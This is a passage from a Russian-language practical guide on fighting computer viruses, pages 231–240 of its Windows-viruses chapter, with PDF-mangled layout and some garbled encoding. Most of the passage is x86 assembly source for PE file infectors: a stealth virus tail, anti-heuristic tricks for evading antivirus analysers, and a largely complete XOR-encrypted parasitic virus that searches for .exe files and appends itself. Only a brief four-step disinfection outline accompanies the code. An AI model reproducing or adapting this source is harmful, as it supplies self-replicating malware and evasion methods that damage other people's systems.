Технологии борьбы с компьютерными вирусами. Практическое пособие
.pdfWindows вирусы |
231 |
|
|
|
|
pop |
edi esi |
; Восстанавливаем edi, esi |
ret |
|
; Возврат из подпрограммы |
;---------------------------------------------- |
|
|
find_code: |
|
|
push |
esi edi |
; Сохраняем esi, edi |
add |
esi,dword ptr [esi+3ch] |
; Теперь esi указывает |
mov |
edi,esi |
; íà "PE" |
mov |
ebx,[esi + 74h] |
; |
shl |
ebx,3 |
; Получаем |
xor |
eax,eax |
|
mov |
ax,word ptr [esi + 6h] |
; количество объектов |
find2: |
|
|
mov |
esi,edi |
; |
dec |
eax |
; |
push |
eax |
; |
mov |
ecx,28h |
; Заголовок секции |
mul |
ecx |
; * размер заголовка |
add |
esi,78h |
; Теперь esi указывает на |
add |
esi,ebx |
; начало последнего |
add |
esi,eax |
; заголовка секции |
mov |
eax,[ebp+entry_point] |
; |
mov |
edx,dword ptr[esi+0ch] |
; Здесь производится |
cmp |
edx,eax |
; поиск секции, в которой |
pop |
eax |
; находится точка входа |
jg |
find2 |
; |
add |
edx,dword ptr[esi+08h] |
; |
cmp |
edx,[ebp+entry_point] |
; |
jl |
find2 |
; |
mov |
edx,dword ptr[esi+0ch] |
; Затем к началу секции в |
|
|
; памяти |
mov |
eax,[ebp+entry_point] |
; прибавляется расстояние |
sub |
eax,edx |
; до точки входа |
add |
eax,dword ptr[esi+14h] |
; Таким образом, |
mov |
[ebp+start_code],eax |
; в eax физическое смещение |
|
|
; начала кода |
or |
dword ptr [esi + 24h],00000020h or 20000000h or 80000000h |
|
|
|
; Также меняем аттрибуты |
|
|
; секции |
pop |
edi esi |
; Восстановим edi esi |
ret |
|
; Возврат из подпрограммы |
;---------------------------------------------- |
|
|
find_entry: |
|
|
push |
esi |
; Сохранение esi |
add |
esi,dword ptr[esi+3ch] |
; Определение и |
mov |
eax,dword ptr[esi+28h] |
; сохранение точки входа |
mov |
[ebp+entry_point],eax |
; |
pop |
esi |
; Восстановление esi |
ret |
|
; Возврат из процедуры |
;---------------------------------------------- |
|
|
232 |
|
|
|
Windows вирусы |
|
|
|
|
|
restore: |
|
|
|
|
|
sub |
edi,31 |
|
; Формирование |
|
mov |
[ebp+ret_addr],edi |
; адреса возврата |
|
|
lea |
esi,[ebp+saved_bytes] |
; А также перемещение |
|
|
cmp |
dword ptr [esi],0 |
; на старое место |
|
|
|
|
|
; оригинальных |
|
jne |
working |
|
; байт программы |
|
mov |
[ebp+ret_addr],0 |
; |
|
|
ret |
|
|
; |
working: |
|
|
|
; |
|
mov |
ecx,31 |
|
; |
|
rep |
movsb |
|
; |
|
ret |
|
|
; Возврат из подпрограммы |
;---------------------------------------------- |
|
|
|
|
mask1 |
db |
'*.exe',0 |
|
|
;Адреса функций, вычисленные для Windows XP |
|
|||
FindFirstFileA |
Dd |
077E75D9EH |
|
|
FindNextFileA |
Dd |
077E75E67H |
|
|
CreateFileA |
|
Dd |
077E7A837H |
|
CloseHandle |
|
Dd |
077E77963H |
|
ExitProcessV |
Dd |
077E75CB5H |
|
|
CreateFileMappingA Dd |
077e77797H |
|
||
MapViewOfFileA |
Dd |
077e74d76H |
|
|
UnmapViewOfFile |
Dd |
077e75090H |
|
|
redirect_bytes |
db |
0ach,03ch,0e8h,075h,0fbh,0adh,03dh,00h,00h |
||
|
|
db |
00h,00h,75h,0f3h,0adh,03dh,05dh,081h,0edh,05h |
|
|
|
db |
075h,0ebh,083h,0eeh,09h,0ffh,0d6h |
|
saved_bytes |
|
db |
31 dup(0) |
|
finish: |
|
|
|
|
entry_point |
|
dd |
0 |
|
start_code |
|
dd |
0 |
|
ret_addr |
|
dd |
0 |
|
fHnd |
|
dd |
0 |
|
mHnd |
|
dd |
0 |
|
mapaddress |
|
dd |
0 |
|
memory |
|
dd |
0 |
|
zeros_place |
|
dd |
0 |
|
Fhandle |
|
dd |
0 |
|
find_file |
|
db |
313 dup(0) |
|
;---------------------------------------------- |
|
|
|
|
.code |
|
|
|
|
|
nop |
|
|
|
;---------------------------------------------- |
|
|
|
|
end |
|
start |
|
|
;----------------------------------------------
Данный вирус демонстрирует возможности маскировки длины инфицированной программы. Аналогичный метод был использован во всем известном ви-
Windows вирусы |
233 |
|
|
русе Win CIH. Cтоит заметить, что данный вирус на некоторых программах работает некорректно, но процент таких программ невелик.
На этом мы закончим наше знакомство со стелс механизмами. Разберем алгоритм лечения данного вируса:
1)идентифицировать инфицированную программу;
2)определить место, где хранятся оригинальные байты программы;
3)восстановить оригинальные байты программы;
4)удалить хвост вируса.
5.4. Антиэвристические приемы
Антиэвристические механизмы в вирусах под операционные системы семейства Windows по какой-то непонятной для меня причине реализуются довольно просто. По всей видимости эвристические анализаторы кода работают гораздо эффективнее с DOS-вирусами, потому что они существуют уже довольно долго (в общей сумме около 20 лет или даже больше). В Windows-вирусах эвристиче- ские алгоритмы работают скажем так, не очень эффективно. С чем это связано сказать довольно трудно, но меня это положение очень даже радует.
Итак, основными антиэвристическими механизмами являются трюки с адресом возврата, большое количество мусорного кода и обход неработающего кода циклом с довольно большим количеством повторений.
Давайте рассмотрим обман анализатора с применением трюков со стеком и адресом возврата:
;---------------------------------------------- |
|
|
push |
offset nexta |
; Антиэвристика |
ret |
|
; |
nexta: |
|
|
;............................... |
|
|
;---------------------------------------------- |
|
|
Обман анализатора кода основан на том, что мы в стек забрасываем адрес возврата на метку, после которой идет вирусный код, и переходим туда при помощи процедуры возврата из функции. Анализатор не понимает, куда идет переход, и думает, что осуществляется выход из программы, но он сильно заблуждается.
Теперь рассмотрим обход неработающего кода циклом с большим количеством повторений:
;---------------------------------------------- |
|
mov ecx,0ffffh |
; Количество провторений |
ah1: |
|
jmp ah2 |
; Переход на повтор |
ret |
; Не работающий код |
ah2: |
|
loop ah1 |
; Повторение цикла |
;---------------------------------------------- |
|
Данный трюк весьма эффективен не только в DOS, но и в Windows-вирусах.
234 |
Windows вирусы |
|
|
Теперь о трюке с использованием большого количество мусорного кода. Он основан на том, что эвристические анализаторы «не видят» вирусного кода, находящегося за мусорными инструкциями.
;---------------------------------------------- |
|
db 1000 dup (90h) |
; 1000 nop'îâ |
;---------------------------------------------- |
|
Создание собственных антиэвристических механизмов вещь довольно занятная, но анализаторы кода под операционные системы семейства Windows со времением все больше и больше совершенствуются. И все защитные механизмы в вирусах защищают вирус, пока он не попадет к антивирусным компаниям.
Антиэвристические трюки всего лишь усложняют анализ вируса, не меняя алгоритм его лечения.
5.5. Динамическое шифрование
Динамическое шифрование очень часто применяется в компьютерных вирусах, и именно поэтому необходимо рассмотреть его применение и для Windows-вирусов. Реализация шифрованного вируса под операционные системы семейства Windows не намного сложнее, чем разработка аналогичного вируса под DOS. В нашей разработке будет использован тот же алгоритм, но он будет переписан под 32-битный Ассемблер.
Теперь рассмотрим схему работы простейшего шифрованного вируса типа parasitic.
Следует рассмотреть, как выглядит файл до инфицирования и после: а) до инфицирования:
б) после инфицирования:
Перейдем к подробному алгоритму функционирования данного вируса:
0)получение дельта-смещения;
1)вызов шифровщика/расшифровщика (при первом запуске расшифруется 0, что кода не изменяет). При втором и последующих запусках шифрует/расшифрует от метки encrypted и до метки finished;
Windows вирусы |
235 |
|
|
2)получаем адрес kernel32 и функции GetProcAddress;
3)ищется файл, при положительном результате поиска переход на метку infect, где и происходит инфицирование файла;
4)вначале перед инфицированием шифруется код, затем, уже зашифрованный, он переписывается в заражаемый файл с нешифрованным шифровщиком/расшифровщиком;
5)идет переход на поиск нового файла. Если такового нет, то работа вируса завершается.
Рассмотрим листинг данного вируса:
;----------------------------------------------
.386
.model flat
; Функция необходимая для запуска вируса после компоновки
extrn |
ExitProcess:PROC |
|
|
|
.data |
|
|
|
; Вирус расположен в области |
|
|
|
; данных |
|
start: |
|
|
|
|
;---------------------------------------------- |
|
|
|
|
|
mov |
ebx,[esp] |
; Возьмем из стека адрес |
|
|
xor |
bx,bx |
; Kernel'a И найдем его начало |
|
|
call |
delta |
|
; |
delta: |
|
|
|
; Получаем дельта-смещение |
|
pop |
ebp |
|
; |
|
sub |
ebp,offset delta |
|
; |
;---------------------------------------------- |
|
|
|
|
|
lea |
esi,[ebp+encrypted] |
|
; Откуда декриптуем |
|
mov |
edi,esi |
|
; Расшифрованный код кладем на |
|
|
|
|
; старое место |
|
mov |
ecx,finish-encrypted |
|
; Количество криптованных байт |
|
call |
encryption |
|
; Вызов функции криптования |
|
jmp |
encrypted |
|
; Переходим к уже |
|
|
|
; расшифрованному коду |
|
encryption: |
|
|
|
; Процедура шифрования |
|
lodsb |
|
|
; Загружаем байт в al |
|
xor |
al,byte ptr[ebp+decrypt] |
; Преобразуем его XOR |
|
|
stosb |
|
; Кладем преобразованный байт |
|
|
|
|
; на старое место |
|
|
loop |
encryption |
|
; Расшифровываем весь |
|
|
|
; криптованный код |
|
|
ret |
|
; Возврат из процедуры |
|
|
decrypt db 0 |
|
; Ключ для шифрования |
|
encrypted: |
|
|
|
|
;---------------------------------------------- |
|
|
|
|
|
mov |
al,[ebp+decrypt] |
|
|
|
mov |
[ebp+save],al |
|
|
|
mov |
eax,dword ptr [ebp + offset oldip] |
; Восстанавливаем старую точку |
|
|
add |
eax,dword ptr [ebp + offset imagebase]; и виртуальный адрес начала |
||
236 |
|
Windows вирусы |
|
|
|
|
|
; программы |
push |
eax |
; Кладем eax в стек |
pushad |
; Сохраняем все регистры |
|
call |
getproc |
|
lea |
eax,dword ptr[ebp+find_file] |
; |
push |
eax |
; Заполняем параметры |
lea |
eax,dword ptr[ebp+mask1] |
; и вызываем функцию |
push |
eax |
; FindFirstFileA |
lea |
eax,dword ptr[ebp+FindFirstFileA] |
; |
call |
GETAPI |
; |
cmp |
EAX, -1 |
; Если файлов нет |
je |
End_it |
; тогда выходим |
mov |
[ebp+Fhandle],eax |
; Сохраняем хэндл поиска |
inf1: |
|
|
mov |
ecx,dword ptr [ebp + find_file + 20h] |
; ecx = filesize |
mov |
[ebp + offset filesize], ecx |
; Сохраняем размер файла |
add |
ecx, finish - start + 1000h |
; filesize + virus |
mov |
[ebp + offset memory], ecx |
; +workspace=memory |
call |
infect |
|
f_next: |
|
|
call |
Fnext |
|
cmp |
eax,0 |
; 0 Файлы закончились |
jne |
inf1 |
|
push |
[ebp+Fhandle] |
; |
lea |
eax,[ebp+FindClose] |
; Закрытие поиска |
call |
GETAPI |
; |
;---------------------------------------------- |
|
|
End_it: |
|
|
mov |
al,[ebp+save] |
; При заражении ключ меняется |
mov |
[ebp+decrypt],al |
; Поэтому восстановим старый |
|
|
; êëþ÷ |
popad |
|
; Восстанавливаем все регистры |
ret |
|
; Отдаем управление носителю |
;---------------------------------------------- |
|
|
infect: |
|
|
lea |
esi,[ebp+start] |
; Копируем нешифруемое начало |
lea |
edi,[ebp+finish] |
; которое будет расшифровывать |
mov |
ecx,encrypted-start |
; весь остальной код |
rep movsb |
; |
|
call |
random |
; Получаем случайное значение |
mov |
byte ptr [ebp+decrypt],al |
; Это будет наш ключ, |
lea |
esi,[ebp+encrypted] |
; откуда будем шифровать |
lea |
edi,[ebp+finish] |
; Куда помещаем шифрованный |
|
|
; êîä |
add |
edi,encrypted-start |
; после нешифрованного кода |
mov |
ecx,finish-encrypted |
; Количество байт для |
|
|
; шифрования |
call |
encryption |
; Начинаем шифровать |
lea |
esi,[ebp + find_file + 2ch] |
; esi = имени файла |
Windows вирусы |
237 |
|
|
|
|
OpenFile: |
|
|
push |
0 |
|
push |
00000080h |
|
push |
3 |
|
push |
0 |
|
push |
00000001h OR 00000002h |
|
push |
40000000h OR 80000000h |
|
push |
esi |
|
lea |
eax,[ebp+CreateFileA] |
; Открытие файла |
call |
GETAPI |
; для чтения/записи |
mov |
[ebp + offset fHnd],eax |
; Сохранение хэндла файла |
cmp |
eax,-1 |
|
je |
InfectionError |
|
;---------------------------------------------- |
|
|
CreateFileMapping: |
|
|
|
|
; Выделяем память |
push |
0 |
; Имя файла хэндл = 0 |
push |
dword ptr [ebp+ offset memory] |
; Максимальный размер = memory |
push |
0 |
; Минимальный размер = 0 |
push |
4 |
; Доступ чтение/запись |
push |
0 |
; |
push |
dword ptr [ebp + offset fHnd] |
|
lea |
eax,[ebp + offset CreateFileMappingA] |
|
call |
GETAPI |
; eax = хэндл |
mov |
[ebp + offset mHnd],eax |
|
or |
eax,eax |
|
jz |
CloseFile |
|
MapViewOfFile1: |
|
|
push |
dword ptr [ebp + offset memory] |
; Количество памяти для работы |
push |
0 |
; |
push |
0 |
; |
push |
2 |
; Режим записи |
push |
eax |
; хэндл |
lea |
eax,[ebp + offset MapViewOfFile] |
; Вызываем функцию |
call |
GETAPI |
|
or |
eax,eax |
|
jz |
CloseMap |
|
mov |
esi,eax |
; |
mov |
[ebp + offset mapaddress],esi |
; Сохраняем базу памяти |
DoSomeChecks: |
|
|
cmp |
word ptr [esi],'ZM' |
; Ýòî EXE ôàéë? |
jne |
UnmapView |
|
cmp |
word ptr [esi + 38h],'nf' |
; Уже зараженный файл? |
je |
UnmapView |
|
OkGo: |
|
|
mov |
ebx,dword ptr [esi + 3ch] |
|
cmp |
ebx,200h |
|
ja |
UnmapView |
|
add |
ebx,esi |
|
cmp |
word ptr [ebx],'EP' |
; Ýòî PE ôàéë? |
238 |
|
Windows вирусы |
|
|
|
jne |
UnmapView |
|
mov |
[ebp + offset PEheader],ebx |
; Сохраняем PE заголовок |
mov |
esi,ebx |
|
mov |
eax,[esi + 28h] |
|
mov |
[ebp + offset oldip],eax |
; Сохраняем старую точку |
|
|
; входа (ip) |
mov |
eax,[esi + 34h] |
|
mov |
[ebp + offset imagebase],eax |
; Сохраняем виртуальный адрес |
|
|
; начала программы |
;---------------------------------------------- |
|
|
LocateBeginOfLastSection: |
|
|
mov |
ebx,[esi + 74h] |
; |
shl |
ebx,3 |
; |
xor |
eax,eax |
|
mov |
ax,word ptr [esi + 6h] |
; Количество объектов |
dec |
eax |
; (нам нужен последний-1 |
mov |
ecx,28h |
; заголовок секции) |
mul |
ecx |
; * размер заголовка |
add |
esi,78h |
; Теперь esi указывает на |
add |
esi,ebx |
; начало последнего заголовка |
add |
esi,eax |
; секции |
ChangeLastSectionHeader: |
|
|
or |
dword ptr [esi + 24h],00000020h or 20000000h or 80000000h |
|
NewPhysicalSize: |
|
|
mov |
eax,dword ptr [esi+10h] |
; Старый физический размер |
add |
eax,finish-start |
|
mov |
dword ptr [esi+10h],eax |
; Сохраняем его |
VirtualSizeCheck: |
|
|
mov |
edi,dword ptr [esi + 8h] |
; Получаем старый |
cmp |
eax, edi |
; виртуальный размер |
jge |
NewVirtualSize |
|
VirtualSizeIsVirtual: |
|
|
add |
edi,finish-start |
|
mov |
eax,edi |
|
NewVirtualSize: |
|
|
mov |
ecx,[ebp + offset PEheader] |
|
mov |
ecx,[ecx + 38h] |
|
div |
ecx |
; и выравниваем к |
inc |
eax |
; секции выравнивания |
mul |
ecx |
|
mov |
[esi + 8h],eax |
; Сохраняем новое значение |
NewAlignedImageSize: |
|
|
mov |
eax,dword ptr [esi + 0ch] |
; Получаем виртуальное |
|
|
; смещение |
add |
eax,dword ptr [esi + 8h] |
; + новый виртуальный размер |
mov |
[ebp+ imagesize],eax |
; = новый виртуальный размер |
Windows вирусы |
239 |
|
|
|
|
NewAlignedFileSize: |
|
|
mov |
eax,dword ptr [esi+10h] |
; Получаем новый физический |
|
|
; размер |
add |
eax,dword ptr [esi + 14h] |
; Добавляем смещение |
|
|
; физического |
mov |
[ebp + offset filesize],eax |
; размера = размер файла |
CalculateNewIp: |
|
|
mov |
eax,dword ptr [esi+10h] |
; Новый физический размер |
add |
eax,dword ptr [esi + 0ch] |
; + виртуальное смещение |
sub |
eax,finish-start |
; - размер вируса |
mov |
[ebp + newip],eax |
; Новая точка входа |
CopyVirusToEndOfFile: |
|
|
mov |
edi,dword ptr [esi+10h] |
; Новый физический размер |
sub |
edi,finish-start |
|
add |
edi,[ebp + offset mapaddress] |
; mapaddress |
add |
edi,[esi + 14h] |
; Добавляем смещение |
|
|
; потоковых данных |
lea |
esi,[ebp + finish] |
; Копируем вирус |
mov |
ecx,(finish-start)/4 + 4 |
|
cld |
|
|
rep |
movsd |
|
UpdatePEHeaderWithChanges: |
|
|
mov |
esi,dword ptr [ebp + offset mapaddress] |
|
mov |
word ptr [esi + 38h],'nf' |
; Устанавливаем метку |
mov |
esi,dword ptr [ebp + offset PEheader] ; инфицированности |
|
mov |
eax,dword ptr [ebp + offset newip] |
|
mov |
[esi + 28h],eax |
; Устанавливаем новую точку |
mov |
eax,[ebp + offset imagesize] |
; входа |
mov |
[esi + 50h],eax |
; Устанавливаем новый |
|
|
; виртуальный размер |
UnmapView: |
|
|
push |
dword ptr [ebp + offset mapaddress] |
; |
lea |
eax,[ebp + UnmapViewOfFile] |
; Закончиваем изменение файла |
call |
GETAPI |
; в памяти и кладем |
|
|
; его обратно |
CloseMap: |
|
|
push |
dword ptr [ebp + offset mHnd] |
; |
lea |
eax,[ebp + CloseHandle] |
; Закрываем хэндл |
call |
GETAPI |
; |
push |
0 |
|
push |
0 |
|
push |
dword ptr [ebp + offset filesize] |
; |
push |
dword ptr [ebp + offset fHnd] |
; Переходим в конец файла |
lea |
eax,[ebp + offset SetFilePointer] |
; |
call |
GETAPI |
|
push |
dword ptr [ebp + offset fHnd] |
; |
lea |
eax,[ebp + offset SetEndOfFile] |
; Устанавливаем символ конца |
call |
GETAPI |
; файла |
240 |
|
|
Windows вирусы |
|
|
|
|
;---------------------------------------------- |
|
|
|
CloseFile: |
|
|
|
push |
dword ptr [ebp + offset fHnd] |
; |
|
lea |
eax,[ebp + offset CloseHandle] |
; Закрываем файл |
|
call |
GETAPI |
; |
|
InfectionError: |
|
|
|
ret |
|
|
; Выходим из процедуры |
;---------------------------------------------- |
|
|
|
Fnext: |
|
|
|
lea |
eax,[ebp+offset find_file] |
; |
|
push |
eax |
|
; |
push |
dword ptr[ebp+Fhandle] |
; Процедура поиска следующего |
|
lea |
eax,[ebp+offset FindNextFileA] |
; файла |
|
call |
GETAPI |
; |
|
ret |
|
|
|
;---------------------------------------------- |
|
|
|
random: |
|
|
; Функция получения случайного |
|
|
|
; значения |
lea |
|
eax,[ebp+offset GetTickCount] |
|
call |
GETAPI |
|
|
ret |
|
|
|
;---------------------------------------------- |
|
|
|
Getproc: |
|
|
|
next_block: |
|
|
|
cmp |
word ptr [ebx],'ZM' |
; Начало? |
|
je |
found_MZ |
; ÄÀ! |
|
sub |
ebx,1000h |
; Ищем дальше |
|
jmp |
next_block |
|
|
found_MZ: |
|
|
|
mov |
edx,ebx |
; Сохраним указатель |
|
mov |
edi,dword ptr [ebx+3Ch] |
; Адрес PE заголовка |
|
add |
edi,edx |
; +адрес kernel'a |
|
cmp |
word ptr [edi],'EP' |
; Проверка на PE |
|
jne |
Exit |
|
; Не равно - выходим |
mov |
4 ptr [ebp+KernelAddr],edx |
; Сохраним базовый адрес |
|
|
|
|
; kernel'a |
add |
ebx,[edi+78h] |
; Получим адрес таблицы |
|
|
|
|
; экспортов |
mov |
ecx,[ebx+18h] |
; Количество указателей |
|
mov |
esi,[ebx+20h] |
; указатель на таблицу |
|
|
|
|
; указателей имен |
mov |
edi,[ebx+24h] |
; Указатель на таблицу |
|
|
|
|
; ординалов |
add |
esi,edx |
; Адрес таблицы имен в памяти |
|
add |
edi,edx |
; Адрес таблицы ординалов |
|
|
|
|
; в памяти |
cld |
|
|
; Поиск вперед |
Search: |
|
|
; Ищем функцию GetProcAddress |
lodsd |
|
|
; Берем указатель из таблицы |
|
|
|
; указателей |
